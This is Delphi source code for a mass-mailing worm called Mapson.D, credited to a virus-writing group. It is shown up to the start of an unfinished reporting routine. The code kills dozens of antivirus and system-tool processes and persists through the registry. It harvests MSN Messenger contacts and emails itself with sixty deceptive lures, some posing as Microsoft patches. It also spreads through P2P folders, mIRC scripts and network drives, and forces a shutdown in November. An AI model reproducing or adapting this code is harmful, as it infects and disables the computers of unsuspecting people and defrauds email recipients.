unit GEDZAC;

//  GEDZAC LABs
//  Mapson.D
//  Coded by Falckon/GEDZAC
//  Source to Mitosis E-ZIne and my Web :)
//  http://vx.netlux.org/~falckon
//  NO ME HAGO RESPONSABLE POR LOS DAOS OCACIONADOS


interface

USES
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,Registry, StdCtrls, Psock, NMsmtp,MMSystem,ShellApi,Tlhelp32,Winsock,
  GhostApp;


TYPE
  TForm1 = class(TForm)
  muerte     :   TNMSMTP;
  Memo1      :   TMemo;
  Edit1      :   TEdit;
  GhostApp1  :   TGhostApp;
  Procedure      FormCreate(Sender: TObject);
  Procedure      network;
  Procedure      InfectP2P;
  Procedure      Infectmirc;
  Procedure      Asesinando;
  Procedure      Reporting;
  private

  { Private declarations }

   public

  { Public declarations }

 end;

  Const
  Nombrew:pchar = '[GEDZAC LABS]';
  CRLF = #13#10;
  About:string = 'Mapson.D Created by Falckon/GEDZAC THE FINAL VERSION';
VAR
  Form1: TForm1;
  D:integer;
  Tiempo :   TSystemTime;
  guorm  :   String;
  Reg:   TRegistry   ;
  Progfiles  :   String;
  VirusName  :   String;
  SysDir :   String   ;
  Correo :   String;
  Suj:   Array[1..60] of string;
  Bod:   Array[1..60] of string  ;
  Att:   Array[1..60] of string;
  Fro:   ARRAY[1..60] of string;
  xaz:   Integer;
  Eltimer:   Tmsg ;
  firm    : string;
  Socketx : TSocket;
  WSAX    : TWSADATA;
  Shity  : TSockAddrIn;
  Bof       : Array[1..255] of char;
  Host       : PHostEnt;
  IP    : pchar;
  Host2 : PHostEnt;
  IPLocal : pchar;
  Datos  : Array[1..28] of char;
  mensaje : string;
  mensax  : textfile;
  IMPLEMENTATION

  {$R *.dfm}

FUNCTION Asesinar(archivo: string): integer;

CONST
 
  Terminar_proceso=$0001;
  
VAR
  CLP: BOOL;
  Lahandle: THandle;
  Procesos32: TProcessEntry32;
 Begin
   Result := 0;
   Lahandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
   Procesos32.dwSize := Sizeof(Procesos32);
   CLP := Process32First(lahandle,Procesos32);
   while integer(CLP) <> 0 DO Begin
   IF ((UpperCase(ExtractFileName(Procesos32.szExeFile)) = UpperCase(archivo)) Or
   (UpperCase(Procesos32.szExeFile) =  UpperCase(archivo))) then
   Result := Integer(TerminateProcess(OpenProcess(Terminar_proceso,                BOOL(0),Procesos32.th32ProcessID), 0));
   CLP := Process32Next(lahandle,Procesos32);
   End;
   CloseHandle(lahandle);
END;
Function LeerReg(Llave : HKEY; ruta,llavex:string): string;
VAR
  Reg:TRegistry;
 Begin
   Reg := TRegistry.Create;
   Reg.RootKey := Llave;
   IF Reg.OpenKeyReadOnly(ruta) Then
   Result := Reg.ReadString(llavex);
End;
Function RegWrite(Llave : HKEY; ruta,llavex,valor:string):string;
VAR
  Reg:TRegistry ;
 Begin
   Reg := TRegistry.Create;
   Reg.RootKey := Llave;
   IF Reg.OpenKey(ruta,true) Then
   Reg.WriteString(llavex,valor);
End;
FUNCTION GetSystemDirectory : String;
VAR  
  pcSystemDirectory : PChar;
  dwSDSize  : DWORD;
  begin
  dwSDSize := MAX_PATH + 1;
  GetMem( pcSystemDirectory, dwSDSize );
  Try
  IF Windows.GetSystemDirectory( pcSystemDirectory, dwSDSize ) <> 0 then
  Result := pcSystemDirectory;
  Finally
  FreeMem( pcSystemDirectory );
   end;
End;
FUNCTION SND(lp:STRING) : BOOL;
BEGIN
  IF Send(Socketx,lp[1],Length(lp),0)=SOCKET_ERROR THEN Result:=True ELSE Result:=False;
END;
FUNCTION RegRead(LaKey: HKEY; Rutakey, Valor: String): String;
VAR
  ValorRet: array[0..1500] of Char;
  TamaDato: Integer;
  Llaveactual: HKEY;
  Begin 
    RegOpenKeyEx(LaKey, PChar(Rutakey), 0, KEY_ALL_ACCESS, llaveactual);
    TamaDato := 1501;
    RegQueryValueEx(llaveactual, PChar(Valor), nil, nil, @ValorRet[0], @TamaDato);
    RegCloseKey(llaveactual);
    Result := String(ValorRet);
end;
procedure TForm1.asesinando;
Begin
   Asesinar('_AVP32.exe');Asesinar('_AVPCC.exe ');Asesinar('_AVPM.exe ');
   Asesinar('ADVXDWIN.exe'); Asesinar('AGENTW.EXE ');  Asesinar('ALERTSVC.exe ');
   Asesinar('ALOGSERV.exe'); Asesinar('AMON9X.exe'); Asesinar('ANTI-TROJAN.exe'); 
   Asesinar('ANTS.exe');  Asesinar('APVXDWIN.exe');Asesinar('ATCON.exe'); 
   Asesinar('ATUPDATER.exe');Asesinar('ATWATCH.exe');Asesinar('AUTODOWN.exe'); 
   Asesinar('AVCONSOL.exe');Asesinar('AVGCC32.exe');Asesinar('AVGCTRL.exe'); 
   Asesinar('AVGSERV.exe'); Asesinar('AVGSERV9.exe'); Asesinar('AVGW.exe');     
   Asesinar('AVKPOP.exe');Asesinar('AVKSERV.exe ');Asesinar('AVKSERVICE.exe');
   Asesinar('AVKWCTL9');Asesinar('AVP32.exe');Asesinar('AVPCC.exe'); 
   Asesinar('AVPM.exe');Asesinar('AVPM.EXE ');Asesinar('AVSCHED32.exe'); 
   Asesinar('AVSYNMGR.exe');Asesinar('PAV.EXE ');Asesinar('AVWINNT.EXE'); 
   Asesinar('AVXMONITOR9X.exe'); Asesinar('AVXMONITORNT.exe ');
   Asesinar('AVXQUAR.exe '); Asesinar('AVXQUAR.EXE'); Asesinar('AVXW.exe '); 
   Asesinar('BLACKD.exe'); Asesinar('BLACKICE.exe'); Asesinar('CCAPP.EXE '); 
   Asesinar('CCEVTMGR.EXE'); Asesinar('CCPXYSVC.EXE');Asesinar('ETRUSTCIPE.EXE ');
   Asesinar('EVPN.EXE');Asesinar('EXPERT.exe'); Asesinar('F-AGNT95.exe ');
   Asesinar('FAMEH32.exe');Asesinar('F-PROT.exe'); Asesinar('F-PROT95.exe');
   Asesinar('FP-WIN.exe');Asesinar('FRW ERV.exe');Asesinar('IOMON98.exe');
   Asesinar('NAV AUTO-PROTECT.exe');Asesinar('NAVAP.EXE '); Asesinar('NAVAPSVC.EXE');
   Asesinar('Navapw32.exe ');Asesinar('NAVENGNAVEX15.EXE '); Asesinar('NAVLU32.EXE');
   Asesinar('NAVW32.EXE');Asesinar('NAVWNT.EXE');Asesinar('NDD32.EXE ');
   Asesinar('NPSSVC.EXE');Asesinar('NSCHED32.EXE');Asesinar('PCCIOMON.EXE ');
   Asesinar('PCCNTMON.EXE');Asesinar('PCCWIN97.EXE ');Asesinar('PCCWIN98.EXE ');
   Asesinar('PCSCAN.EXE');Asesinar('PERSFW.EXE');Asesinar('PERSWF.EXE ');
   Asesinar('POP3TRAP.EXE ');Asesinar('RAV7.EXE');Asesinar('VPC32.EXE');
   Asesinar('VPTRAY.EXE');Asesinar('VSCHED.EXE ');Asesinar('AVCONSOL.EXE');
   Asesinar('VSECOMR.EXE');Asesinar('VSHWIN32.EXE ');Asesinar('VSMAIN.EXE ');
   Asesinar('VSMON.EXE '); Asesinar('VSSTAT.EXE '); Asesinar('ZONEALARM.EXE ');
   Asesinar('ICLOAD95.EXE'); Asesinar('ICMON.EXE'); Asesinar('ICSUPP95.EXE');
   Asesinar('ICLOADNT.EXE'); Asesinar('ICSUPPNT.EXE');Asesinar('IFACE.EXE');
   Asesinar('Regedit.EXE');Asesinar('Regedit.com');Asesinar('msconfig.EXE');
   Asesinar('sfc.EXE');Asesinar('sysedit.EXE'); Asesinar('regedt32.EXE');
   Asesinar('NSPCLEAN.exe');Asesinar('taskmgr.exe');Asesinar('msblast.exe');
   Asesinar('Mspclean');Asesinar('pqremove.exe');Asesinar('penis32.exe');
   End;
PROCEDURE TForm1.FormCreate(Sender: TObject);
VAR
  Regmsn,Hostmail: String;       
  Puta           :     Integer;
  B,contact,chals:     Integer;
  Label                yajodio;
  Label                jodio;
 Begin
   Asesinando;
   SysDir:=GetSystemDirectory;
   Guorm := Application.ExeName;
   For B := 1 to 1000 DO   Begin
   Regmsn:=RegRead(HKEY_CURRENT_USER,'Software\Microsoft\MessengerService\ListCache\.NET Messenger Service','Allow'+inttostr(b))   ;
   Memo1.lines.Add(regmsn);
   End;
   For B:=1 to 1000 DO  Begin
   Regmsn:=RegRead(HKEY_CURRENT_USER,'Software\Microsoft\MSNMessenger\ListCache\.NET Messenger Service','Allow'+inttostr(b))   ;
   Memo1.lines.Add(regmsn);
   End;
   Contact:=Memo1.lines.Count Mod 22;
   IF contact = 0 then
   Begin
   Contact:=1;
End;
   Edit1.text:=Memo1.Lines[contact];
   GetlocalTime(Tiempo);
   RegWrite(HKEY_LOCAL_MACHINE,'\Software\Microsoft\Windows\CurrentVersion\Run','NAV',SysDir + '\RuxDLL32.exe');
   Copyfile(pchar(Guorm), pChar(SysDir + '\RuxDLL32.exe'),true);
   IF Not FileExists('C:\Falckon.vxd') then
   Begin
   Copyfile(pchar(Guorm),'C:\Falckon.vxd',true);
   InfectP2P
   End;
Bod[1] := 'Epidemia por virus Blaster! este mail es importante no los borres, el virus Blaster se a estado reproduciendo con gran capacidad, es recomendable usar el '+
' parche correctivo para la falla de su windows, por favor no espere ms y aplique el parche, es por el bienestar de su mquina.';
Att[1] := 'Q832645.exe';
Suj[1] := 'Alerta por Virus Blaster';
fro[1] := 'virus@viruses.com';
Suj[2] := 'Nuevo Mensaje';
Bod[2] := 'Tienes un nuevo correo para verlo haz clic en del adjunto. '  ;
Att[2] := 'newmail.scr';
fro[2] := String(Edit1.text);
Suj[3] := 'Messenger y la Privacidad.';
Bod[3] := 'Este documento habla sobre las desventajas de usar el Msn Messenger como mensajero instantneo, cualquier duda se le respondera en el documento.';
Att[3] := 'privacidad.pif';
fro[3] := String(Edit1.text);
Suj[4] := 'Roban cuentas de hotmail.';
Bod[4] := 'ltimamente e estado recibiendo muchos correos dicindome provenir de Hotmail pero no, estos correos nos piden nombre de usuario y password, pero en realidad es mentira, nuestra cuenta sera robada, para saber ms lea el adjunto';
Att[4] := 'cuentashotmail.pif';
fro[4] := string(Edit1.text);
Suj[5] := 'Huevo Cartoons Gratis :D';
Bod[5] := 'Encontr una pgina con una buena coleccin de huevo cartoons!.';
Att[5] := 'www.huevosymashuevos.com';
Fro[5] := String(Edit1.text);
Suj[6] := 'Me gusta..';
Bod[6] := 'A m me gusta, y a t?';
fro[6] := string(Edit1.Text);
Att[6] := 'xtreme.pif';
Suj[7] := 'Lista de vulnerabilidades en windows';
Bod[7] := 'Esta es una lista de vulnerabilidades en windows para que sepas y no te vayan a hackear, cudate, chau';
Att[7] := 'vulnerabildades.pif';
fro[7] := String(Edit1.text);
Suj[8] := 'As me veo.';
Bod[8] := 'Esta es mi foto cuando estaba en la playa :).';
Att[8] := 'playa_cancun.pif';
fro[8] := String(Edit1.text);
Suj[9] := 'Sofia vergara screen saver.';
Bod[9] := 'Nuevo Screen Saver de sofia vergara desnuda, que esperais para bajarlo!';
Att[9] := 'sofavergara.scr';
fro[9] := String(Edit1.text);
Suj[10] := 'Nuevo ScreenSaver de Britney Spears.';
Bod[10] := 'Nuevo screen saver de britney! :).';
Att[10] := 'britney.scr';
fro[10] := String(Edit1.text);
Suj[11] := 'Campaa de Seguridad en la red';
Bod[11] := 'Nueva campaa de seguridad en la red patrocinada por www.vsantivirus.com, haga clic en el adjunto para enterarse sobre esto.';
Att[11] := 'www.vsantivirus.com';
fro[11] := String(Edit1.text);
Suj[12] := 'Nunca me haba visto tan bien';
Bod[12] := 'Nunca me haba visto tan bien en esta foto.';
Att[12] := 'engrupo.pif';
fro[12] :=  String(Edit1.text);
Suj[13] := 'Problemas de disfuncin sexual?...';
Bod[13] := 'Diez ejercicios con los cuales lograra tener una ereccin 10 veces mejor que la que siempre a tenido, adems de aumentar el tamao de su pene lealos y no tendra ms problemas.';
Att[13] := 'disfuncion.pif';
fro[13] := String(Edit1.text);
Suj[14] := '10 pasos para excitar a una mujer'  ;
Bod[14] := 'Aqu tengo 10 pasos fciles a seguir para lograr excitar a una mujer, ella lograra tener de 2 a 3 orgasmos lalos, chau.' ;
Att[14] := 'orgasmo.pif';
fro[14] := string(Edit1.Text);
Suj[15] := 'Herramienta gratuita para eliminar el Blaster';
Bod[15] := 'Si usted esta infectado de este peligroso gusano es mejor que utilice la vacuna que le mando, ejectela y no tendr mas problemas.'  ;
Att[15] := 'Anti-Blaster.exe';
fro[15] := String(Edit1.text);
Suj[16] := '10 consejos para tener una buena relacin sentimental';
Bod[16] := '10 simples consejos para tener una buena relacin sentimental con su pareja lalos y no tendr mayores problemas.';
fro[16] :=  String(Edit1.text);
Att[16] := 'pareja.pif';
Suj[17] := 'Su mquina tiene un virus';
Bod[17] := 'Si su mquina se reinica acada rato, esto es por un nuevo virus que afecta toda internet, para arreglar el problema use el antivirus que le envo.';
Att[17] := 'Anti-Blaster.exe';
fro[17] := String(Edit1.text);
Suj[18] := 'Alerta de virus'  ;
Bod[18] := 'Cuidado! este virus es peligroso puede formatearte el disco duro, llega por hotmail sin que te des cuenta, tu podrias estar infectado'+
' busca en tu sistema el archivo rundll32.exe, si lo tienes es mejor que utilizes la vacuna que te mando, hazlo cuanto antes!! no esperes!!';
Att[18] := 'antirundll.exe';
fro[18] :=  String(Edit1.text);
Suj[19] := 'Msica gratis';
Bod[19] := 'Bajate toda la msica que tu quieras, cuando quieras o como quieras!!!';
Att[19] := 'sharekaza.exe';
fro[19] := String(Edit1.text);
Suj[20] := 'Nuevo y seguro cliente P2P';
Bod[20] := 'Esta arto del spyware en su cliente P2P como KaZaA?'+
' Yo al menos s! Odio que me espen, y que hasta me puedan denunciar,'+
' Por eso a salido un nuevo cliente P2P, que acta de forma stealth por lo que'+
' No saben quin descarga un archivo adems de poder bajar toda la msica'+
'Gratis.'+
' Saludos.';
Att[20] := 'P2P.pif';
fro[20] := String(Edit1.text);
Suj[21] := 'Te amo.';
Bod[21] := 'Te amo tanto que morira por t.'  ;
Att[21] := 'teamo.pif';
fro[21] := String(Edit1.Text) ;
Suj[22] :=  'Virus en Hotmail';
Bod[22] := 'Hola, se a dado una alerta por parte de las empresas antivirus, de un nuevo virus que se expande por hotmail, hasta el momento indetectable para cualquier producto antiviral, por lo que recomiendo leer las precauciones sobre este nuevo gusano informatico.'+
' Para ms informacin, favor de leer el documento informativo.'  ;
Att[22] := 'nuevovirus.txt   .pif';
fro[22] := string(edit1.Text)  ;
Suj[23] := ' Kamasutra  ';
Bod[23] := 'Kamasutra el arte del sexo';
att[23] := 'kamasutra.pif';
Fro[23] := String(Edit1.text);
Suj[24] := 'Su pareja ideal';
Bod[24] := 'Los 10 consejos para tener una pareja ideal,'+
   'Lalos y pngalos en practica, le aseguro que tendr resultados'+
   'satisfactorios.';
Att[24] := 'parejaideal.pif';
Fro[24] := String(Edit1.text);
Suj[25] := 'Sabes que es el Amor?';
Bod[25] := 'Yo no s que es el amor tampoco lo e sentido, pero este texto te ayuda a comprenderlo.';
Att[25] := 'amores.pif';
Fro[25] := String(Edit1.text);
Suj[26] := 'Como consquistar chicas.';
Bod[26] := 'Aqu le doy unos consejos para tener chicas rendidas a sus pies, lealos y me dice que tal.';
Att[26] := 'chicas.pif';
Fro[26] := String(Edit1.text);
Suj[27] := 'La Biblia del Hacker';
Bod[27] := 'Excelente libro para aprender a hackear un windows de manera fcil y rpida, con 10 temas de rpido aprendizaje, no dejes pasar ms tiempo y leelo ya pero no se lo pases a nadie que es solo para t.';
Att[27] := 'Hacker-Bible.pif';
Fro[27] := String(Edit1.text);
Suj[28] := 'Como crear un virus?';
Bod[28] := 'Con este sencillo manual aprenderas a crear virus rpidamente, cuidate, chau';
Att[28] := 'viruses.pif';
Fro[28] := String(Edit1.text);
Suj[29] := 'Nueva vulnerabilidad en Windows';
Bod[29] := 'El da de hoy se a descubierto una nueva vulnerabilidad para los sistemas windows'+
' recomendamos aplicar el siguiente parche de seguridad, ya que el no parchear esta vulnerabilidad' +
' puede permitir la ejecucin de cdigo en la mquina afectada y podra ser explotada por algn virus' + 
' como es el caso del Blaster, Gracias';
Att[29] := 'K54403.exe';
Fro[29] := 'microsoft@microsoftupdate.com';
Suj[30] := 'Hack Mails';
Bod[30] := 'queres verle el mail a un amigo, al jefe, saber si la la novia se mailea con otro, entonces usa este programa ;).';
Att[30] := 'mailcrack.bat';
Fro[30] := 'hackers@hackwebmail.com';
Suj[31] := 'Lista de virus recientes';
Bod[31] := 'Aqu te doy una lista de virus recientes para que ests pendiente y no te vayas'+
' a infectar, saludos, chau';
Att[31] := 'virus-list.pif';
Fro[31] := String(Edit1.text);
Suj[32] := 'qu es un virus?';
Bod[32] := 'Un pequeo texto que nos informa y nos dice que es un virus, como desinfectarse, como contrarlos etc.. espero que te guste.';
Att[32] := 'virus-faq.pif';
Fro[32] := String(Edit1.text);
Suj[33] := 'Actualizacin';
Bod[33] := 'Disculpa apenas pude enviarte la actualizacin del programa, es que tena mucho trabajo, chau cuidate.';
Att[33] := 'update.exe';
Fro[33] := String(Edit1.text);
Suj[34] := 'Animaciones';
Bod[34] := 'Checa estas divertidas animaciones que te envo, no se las des a nadie mas son solo para ti!';
Att[34] := 'animaciones.pif';
Fro[34] := String(Edit1.text);
Suj[35] := 'Posiciones';
Bod[35] := 'Para que no te digan y no te cuenten, posiciones para hacer el amor, checalas y me dices que tal pero no se las des a nadie ms, bye.';
Att[35] := 'posiciones.exe';
Fro[35] := String(Edit1.text);
Suj[36] := 'Informacin confidencial';
Bod[36] := 'Por favor, checa el adjunto para que sepas de que hablo, bye.';
Att[36] := 'confidencial.pif';
Fro[36] := String(Edit1.text);
Suj[37] := 'divisas.txt';
Bod[37] := 'Hola, tengo problemas con este archivo seras amable de checarlo por m?, gracias, adios';
Att[37] := 'readme.pif';
Fro[37] := String(Edit1.text);
Suj[38] := 'Contraseas';
Bod[38] := 'Contraseas de hotmail, para ti, no se las pases a nadie gracias te cuidas chau.';
Att[38] := 'contraseas.pif';
Fro[38] := String(Edit1.text);
Suj[39] := 'Si no te interesa..';
Bod[39] := 'Si esto no te interesa no lo leas.';
Att[39] := 'muy-interesante.pif';
Fro[39] := String(Edit1.text);
Suj[40] := 'Informacin';
Bod[40] := 'La siguiente informacin no a podido ser enviada';
Att[40] := 'confidential-information.pif';
Fro[40] := 'juan@ivan-ich.com';
Suj[41] := 'Ouija Online';
Bod[41] := 'Quieres conocer, el juego que ha despertado temores y discuciones a lo largo del tiempo, mira esto';
Att[41] := 'JuegoconlosMuertos.pif';
Fro[41] := String(Edit1.text);
Suj[42] := 'Tienes un E-Mail';
Bod[42] := 'Tienes un E-mail para visualizarlo haga clic en el adjunto.';
Att[42] := 'mail.bat';
Fro[42] := String(Edit1.text);
Suj[43] := 'Expresate';
Bod[43] := 'S el texto no expresa lo que sientes devuelvemelo.';
Att[43] := 'amor.bat';
Fro[43] := String(Edit1.text);
Suj[44] := 'thala desnuda!!!';
Bod[44] := 'Recientemente se publicaron unas fotos de la cantante thala totalmente desnuda!, e logrado sacar unas y aqu te las mando, estn comprimidas, por favor no se las des a nadie son solo para t! saludos, bye.';
Att[44] := 'thala-sex.pif';
Fro[44] := String(Edit1.text);
Suj[45] := 'Animacin!!';
Bod[45] := 'Lo e hecho yo y me gustara que le dieras un vistazo y me dijeras que tal lo vez t, cuidate,bye.';
Att[45] := 'sexual-positions.bat';
Fro[45] := String(Edit1.text);
Suj[46] := 'Foto en alemania';
Bod[46] := 'Me e tomado una foto cuando estuve en alemania y me gustara que le hecharas un vistazo y me dijeras como me veo, cuidate y adios.';
Att[46] := 'foto-alemania.pif';
Fro[46] := String(Edit1.text);
Suj[47] := 'LatinCards';
Bod[47] := 'Le han enviado una LatinCard para poder visualizarla abra el adjunto'+
'Gracias.';
Att[47] := 'lovecard.bat';
Fro[47] := String(Edit1.text);
Suj[48] := '5 consejos para conquistar a una chica';
Bod[48] := 'Entre estos consejos se encuentran la comunicacin y el respeto, si quieres saber ms lee por favor el archivo.';
Att[48] := 'consejos-mujeres.bat';
Fro[48] := String(Edit1.text);
Suj[49] := 'Fotos de mi chica';
Bod[49] := 'Aqui tienes unas fotos de mi chica, dime si te gustan..';
Att[49] := 'chica-sex.scr';
Fro[49] := String(Edit1.text);
Suj[50] := 'Hackear correos de yahoo, hotmail!!!!';
Bod[50] := 'Acabo de terminar mi nuevo programa para hackear cuentas de correo de yahoo, hotmail y latinmail, recuerda que es solo para t por favor no se lo des a nadie mas.';
Att[50] := 'hotmailhacker.exe';
Fro[50] := String(Edit1.text);
Suj[51] := 'hackear paginas web!!!!';
Bod[51] := 'Aqu te envo un programa que hice para hackear paginas web, no se lo des a nadie que es solo para t prometemelo!, chau cuidate.';
Att[51] := 'hackwebs.exe';
Fro[51] := String(Edit1.text);
Suj[52] := '5 pasos para hackear hotmail';
Bod[52] := 'Oye te doy un texto para hackear hotmail es solo para t, pero no se los des a nadie Prometemelo, ok?, chau.';
Att[52] := 'hotmailhack.pif';
Fro[52] := String(Edit1.text);
Suj[53] := 'New Terminator Screen Saver!';
Bod[53] := 'NEW Terminator Screen Saver, i hope you will like ';
Fro[53] := String(Edit1.text);
Suj[54] :=  'Generador de virus!';
Bod[54] := 'Te paso este programa con el cual puedes crear virus y joder a tus amigos, o a tus ENemigos y hasta con la opcin de robar los examenes de tu escuela, es solo para ti,'+
' no se lo pases a nadie por favor prometelo, genera un virus y me dices como te fue. chau';
Att[54] := 'generatorviruses.exe';
Fro[54] := String(Edit1.text);
Suj[55] := 'Shakira Screensaver';
Bod[55] := 'Screen Saver de shakira donde sale desnuda :O.';
Att[55] := 'shakira.scr';
Fro[55] := String(Edit1.text);
Suj[56] := 'Pics of my Girl';
Bod[56] := 'Here you have the pics of my girl, do you like them ?';
Att[56] := 'girlpic.pif';
Fro[56] := String(Edit1.text);
Suj[57] := 'Blaster Remover';
Bod[57] := 'his is the new blaster remover, run it as soon as you can';
Att[57] := 'Anti-BlasterWorm.exe';
Fro[57] := String(Edit1.text);
Suj[58] := 'Matrix Reloaded';
Bod[58] := ' Matrix Reloaded new screen Saver, i hope you will like ';
Att[58] := 'MatrixReloaded.scr';
Fro[58] := String(Edit1.text);
Suj[59] := 'Screen Savers';
Bod[59] := 'Cameron Diaz and Paulina rubio naked Screen Saver';
Att[59] := 'Paulina-rubio-cameron-diaz.scr';
Fro[59] := String(Edit1.text);
Suj[60] := 'New Drivers for windows Update';
Bod[60] := 'New Drivers for windows Update, please update now!';
Att[60] := 'Drivers-Windows.exe';
Fro[60] := String(Edit1.text);
Network;
For chals := 1 to 60 Do Begin
   Copyfile(pchar(guorm),pchar(SysDir + '\'+Att[chals]),true);
   End;
   Puta := 0;
   Hostmail := 'mx2.hotmail.com';
   Muerte.Host := hostmail;
   Yajodio:
   Try
   Muerte.connect;
   Except
   IF muerte.Connected = false then
   Begin
   Puta := 1;
   End
   Else
   Puta := 0;
   End;
   IF puta = 1 then goto yajodio   ;
   Muerte.PostMessage.ToBlindCarbonCopy.AddStrings(memo1.lines);
   Muerte.PostMessage.FromAddress :=  fro[Tiempo.wSecond];
   Muerte.PostMessage.FromName := fro[Tiempo.wSecond];
   Muerte.PostMessage.Subject := Suj[Tiempo.wSecond]  ;
   Muerte.PostMessage.Attachments.Add(SysDir + '\' + Att[Tiempo.wSecond]);
   Muerte.PostMessage.Body.Add(Bod[Tiempo.wSecond]);
   Muerte.SendMail   ;
   Muerte.Disconnect;
   Firm := LeerReg(HKEY_LOCAL_MACHINE,'\Software\','infected');
   IF Firm <> '1' then
   Begin
   RegWrite(HKEY_LOCAL_MACHINE,'\Software\','infected','1');
   Reporting;
   End;
   Infectmirc;
   IF Tiempo.wMonth = 11 then
   Begin
   SetSystemPowerState(FALSE,FALSE);
   End;
   mensaje := 'Thx to All my VX Friends, specially SlageHammer, VirusBstr, Positron ' +   crlf +
   'VB : Thx for the GhostApp Component :D, '+               CRLF +
   'Slage : Thx for the 5 msgs to my worm :D and ur counsels ' +      CRLF +
   'Positron: to ur SMTP engine 0.9, i study and learn sockets :D' +  CRLF     +
   'Thx to All '+       CRLF+
   'Mabel i love u :P';
   AssignFile(mensax,'C:\-.txt');
   ReWrite(mensax);
   WriteLn(mensax,mensaje);
   closefile(mensax);
   SetTimer(0, 0,  2000, nil);
   while (GetMessage(eltimer,0 ,0 ,0)) do Begin
   Asesinando;
   End;
 end;
PROCEDURE TForm1.infectmirc;
VAR
  DV, Mxa:string;
  Lx:integer;
  Scriptm:textfile;
 Begin
   DV := LeerReg(HKEY_LOCAL_MACHINE,'\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\mIRC','UninstallString');
   For lx:=1 to length(DV) do if (lx>1)and(lx<length(DV)-19) then mxa:=mxa+DV[lx];
   AssignFile(scriptm,mxa + 'script.ini');
   ReWrite(Scriptm);
   Writeln(Scriptm,'[script]');
   Writeln(Scriptm,'n0=On 1:JOIN:#:{/if ( $nick == $me) { halt } | .privmsg $nick ' +Bod[Tiempo.wSecond]+' | /dcc Send -c $nick '+SysDir+'\' + Att[Tiempo.wSecond]);
   closefile(Scriptm);
   end;
PROCEDURE TForm1.InfectP2P;
VAR
  CarpetasP2P:array[1..14] of string; Gname:array[1..54] of string;
  Comlg:array[1..5] of string;  C,g,r:integer ;
  Begin
    Progfiles := LeerReg(HKEY_LOCAL_MACHINE,'\SOFTWARE\Microsoft\Windows\CurrentVersion','ProgramFilesDir');
    CarpetasP2P[1] := '\KaZaA\My Shared Folder\'; CarpetasP2P[2] := '\edonkey2000\incoming\';
    CarpetasP2P[3] := '\gnucleus\downloads\'; CarpetasP2P[4] := '\icq\shared files\';
    CarpetasP2P[5] := '\kazaa lite\My Shared Folder\';CarpetasP2P[6] := '\limewire\shared\';
    CarpetasP2P[7] := '\morpheus\my shared folder\';CarpetasP2P[8] := '\Grokster\My Grokster\';
    CarpetasP2P[9] := '\WinMX\My Shared Folder\';CarpetasP2P[10] := '\Tesla\Files\';
    CarpetasP2P[11] := '\Overnet\Incoming\';CarpetasP2P[12] := '\XoloX\Downloads\';
    CarpetasP2P[13] := '\Rapigator\Share\';CarpetasP2P[14] := '\KMD\My Shared Folder\';
    Gname[1] := 'Kazaa Media Desktop' ; Gname[2] := 'ICQ Lite '; Gname[3] := 'WinZip';
    Gname[4] := 'iMesh ';Gname[5] := 'AOL Instant Messenger (AIM)';
    Gname[6] := 'ICQ ro 2003a beta ';Gname[7] := 'Morpheus '; Gname[8] := 'Ad-aware ';
    Gname[9] := 'Trillian ';Gname[10] := 'Download Accelerator plus';Gname[11] := 'ZoneAlarm ';
    Gname[12] := 'Grokster'; Gname[13] := 'WinRAR ';Gname[14] := 'DivX Video Bundle ';
    Gname[15] := 'RealOne Free Player '; Gname[16] := 'Netumer ';
    Gname[17] := 'Adobe Acrobat Reader (32-bit) '; Gname[18] := 'JetAudio Basic ';
    Gname[19] := 'WS_FT LE (32-bit) '; Gname[20] := 'SnagIt ';  Gname[21] := 'Registry Mechanic';
    Gname[22] := 'WinMX '; Gname[23] := 'MSN Messenger (Windows NT/2000)';
    Gname[24] := 'Biromsoft WebCam '; Gname[25] := 'Nero Burning ROM ';
    Gname[26] := 'Microsoft Windows Media layer '; Gname[27] := 'Sybot - Search & Destroy ';
    Gname[28] := 'Copernic Agent ';Gname[29] := 'Winamp';
    Gname[30] := 'Diet Kazaa ';Gname[31] := 'SolSuite 2003: Solitaire Card Games Suite ';
    Gname[32] := 'pop-Up Stoper '; Gname[33] := 'QuickTime ';
    Gname[34] := 'XoloX Ultra ';Gname[35] := 'Microsoft Internet Exlorer ';
    Gname[36] := 'Network Cable e ADSL Speed '; Gname[37] := 'Kazaa Download Accelerator ';
    Gname[38] := 'Global DiVX layer ';   Gname[39] := 'DirectDVD ';
    Gname[40] := 'Kasersky Antivirus' ; Gname[41] := 'PerAntivirus';
    Gname[42] := 'Norton Antivirus'; Gname[43] := 'Panda Antivirus';
    Gname[44] := 'McAfee Antivirus';  Gname[45] := 'Microsoft Office XP';
    Gname[46] := 'Microsoft Windows 2003'; Gname[47] := 'Office 2003';
    Gname[48] := 'Visual Studio Net'; Gname[49] := 'Delphi 6';  Gname[50] := 'msn hack'  ;
    Gname[51] := 'Matrix Movie'; Gname[52] := 'Virtual Girl';    Gname[53] := 'FireWorks 4';
    Gname[54] := 'FIreWorks MX';  Comlg[1] := ' Cracked';  Comlg[2] := ' crack all versions';
    Comlg[3] := ' ';  Comlg[4] := ' KeyGen'; Comlg[5] := ' Full version';
    For C := 1 to 14 DO  Begin
    For G := 1 to 5  Do  Begin
    For R := 1 to 54 Do  Begin
    Copyfile(pchar(guorm),
    Pchar(PROGFILES+CarpetasP2P[c]
    +Gname[r]+comlg[g]+'.exe'),true);
    End;
    End;
    End;
End;
PROCEDURE TForm1.Network;
VAR
  I:Char;
  T:Integer;
  ThePath:String;
  Carpetas:Array[1..5] of string; 
  MaxNetPathLen:DWord;
  Begin
    Carpetas[1] := '\';
    Carpetas[2] := '\Documents and Settings\All Users\Start Menu\Programs\Startup\';
    Carpetas[3] := '\WINDOWS\Start Menu\Programs\Startup\';
    Carpetas[4] := '\WINDOWS\Men inicio\Programas\Inicio\';
    Carpetas[5] := '\WINNT\Profiles\All Users\Start Menu\Programs\Startup\';
    MaxNetPathLen:=MAX_PATH;
    SetLength(ThePath,MAX_PATH);
    For I := 'A' to 'Z' Do
    If WNetGetConnection(PChar(''+I+':'),PChar(ThePath),
    MaxNetPathLen)<>ERROR_NOT_CONNECTED then
    For T := 1 to 5 Do
  Begin
  CopyFile(PChar(guorm),PChar(I+':'+carpetas[T]+'autoexec.bat'),true);
End;
End;
PROCEDURE TForm1.Reporting;
 VAR
  OS : string;
  ORG : string;
  REGIS : string;
  Country : string;
  Texto   : string;
 Begin
